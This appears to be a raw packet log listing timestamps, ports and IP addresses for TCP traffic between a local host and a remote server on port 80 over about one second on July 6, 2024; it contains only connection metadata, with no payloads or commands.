Jul 6, 2024 14:10:03.586549997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586551905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586585045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586620092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586628914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586662054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586730003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586767912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586811066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586821079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586834908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586853981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586863995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.586932898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586941957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.586977959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.587122917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587131023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587161064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.587215900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587249994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.587461948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587471008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587479115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587502956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.587512970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.587578058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587587118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587595940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587613106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.587635040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.587928057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587941885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587956905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587970018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587975979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.587979078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.587996006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.588011980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.588685036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.588727951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.588728905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.588737011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.588756084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.588762999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.588835001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.588845015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.588855028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.588865042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.588876009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.588888884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589000940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589044094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589066982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589076996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589097023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589102030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589114904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589138031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589306116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589313984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589349985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589447021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589489937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589498043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589507103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589526892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589535952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589664936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589705944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589715004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589725971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589742899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589749098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589777946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589787006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589816093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.589869022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589876890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.589905024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590079069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590090036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590097904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590118885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590137005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590183973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590208054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590224981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590235949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590306997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590348005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590378046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590415955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590533972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590572119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590579033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590586901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590596914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590606928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590621948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590636015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590696096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590704918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590733051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590825081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590857983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.590878010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.590888023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.808593035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.808609009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.808690071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.809130907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809180975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.809182882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809191942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809211969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.809230089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.809329987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809370995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.809566021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809608936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.809614897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809623957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809643030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.809657097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.809669018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809678078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809703112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.809833050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809855938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809874058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.809881926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.809947968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809956074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.809988022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.810389042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.810427904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.810430050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.810441971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.810457945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.810467005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.810492992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.810534954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.810590982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.810616970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.810632944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.810642958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.810913086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.810954094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.811050892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.811074018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.811083078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.811088085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.811099052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.811131001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.811202049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.811238050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.811240911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.811266899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.811312914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.811321020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.811352968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.811677933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.811722994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.811816931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.811825037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.811856031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.811856985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.811887026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.811997890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.812017918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.812042952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.812050104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.812103033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.812112093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.812143087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.812289953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.812333107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.812336922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.812365055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.812613010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.812655926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.812686920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.812722921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.812798023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.812807083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.812843084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.813153982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.813189983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.813213110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.813244104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.813465118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.813507080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.813530922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.813539028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.813548088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.813566923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.813575029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.814078093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.814116001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.814141989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.814187050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.814244986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.814282894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.814306974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.814342022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.814347029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.814366102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.814388990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.814395905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.814841032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.814877033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.814954996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.814964056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.815001965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.815382957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.815391064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.815398932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.815407991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.815427065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.815435886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.815593958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.815613031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.815620899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.815635920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.815654039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.815933943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.815968990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.815975904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.815994024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.817059040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817131042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.817218065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817228079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817248106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.817261934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.817302942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817312956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817337990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.817351103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.817424059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817433119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817440987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817460060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.817476034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.817574978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817584038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817616940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.817759991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817800999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.817804098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.817838907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.818576097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.818593979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.818612099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.818622112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:03.902671099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:03.902723074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.007288933 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.007318974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.007328033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.007352114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.007375002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.007388115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.007396936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.007405996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.007428885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008095980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008131981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008140087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008141041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008157015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008173943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008255959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008265018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008274078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008282900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008295059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008316040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008397102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008405924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008414984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008423090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008433104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008439064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008454084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008518934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008553028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008573055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008580923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008603096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008614063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008640051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008647919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008677006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008886099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008896112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008904934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.008927107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.008944988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009056091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009063959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009097099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009191990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009231091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009244919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009254932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009274006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009285927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009391069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009397984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009422064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009433985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009562969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009577990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009605885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009768963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009800911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009809017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009810925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009829998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009845018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009845972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009874105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.009933949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.009968996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.010003090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.010036945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.010050058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.010082960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.010240078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.010247946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.010277987 CEST	49732	80	192.168.2.4	211.108.60.155
